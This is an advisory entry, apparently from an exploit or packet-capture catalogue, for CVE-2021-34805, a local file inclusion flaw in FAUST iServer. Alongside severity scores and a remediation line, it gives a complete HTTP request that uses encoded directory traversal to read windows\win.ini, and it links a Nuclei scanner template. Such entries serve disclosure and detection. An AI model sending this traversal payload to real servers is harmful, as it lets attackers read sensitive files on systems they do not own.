| Title | FAUST iServer 9.0.018.018.4 - Local File Inclusion |
|---|---|
| Author | 0x_Akoko |
| Severity | High |
| Impact | Successful exploitation of this vulnerability could allow an attacker to read sensitive files on the server. |
| Remediation | Apply the latest security patch or update to a non-vulnerable version of FAUST iServer. |
| CVSS Score | 7.5 |
| EPSS Score | 0.90222 |
| CVE ID | CVE-2021-34805 |
| CWE ID | CWE-22 |
| Tags | cve2021 cve lfi packetstorm faust iserver land-software vuln |
FAUST iServer before 9.0.019.019.7 is susceptible to local file inclusion because for each URL request it accesses the corresponding .fau file on the operating system without preventing %2e%2e%5c directory traversal.
GET /%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows%5cwin.ini HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-34805.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-34805.pcap
N/AN/A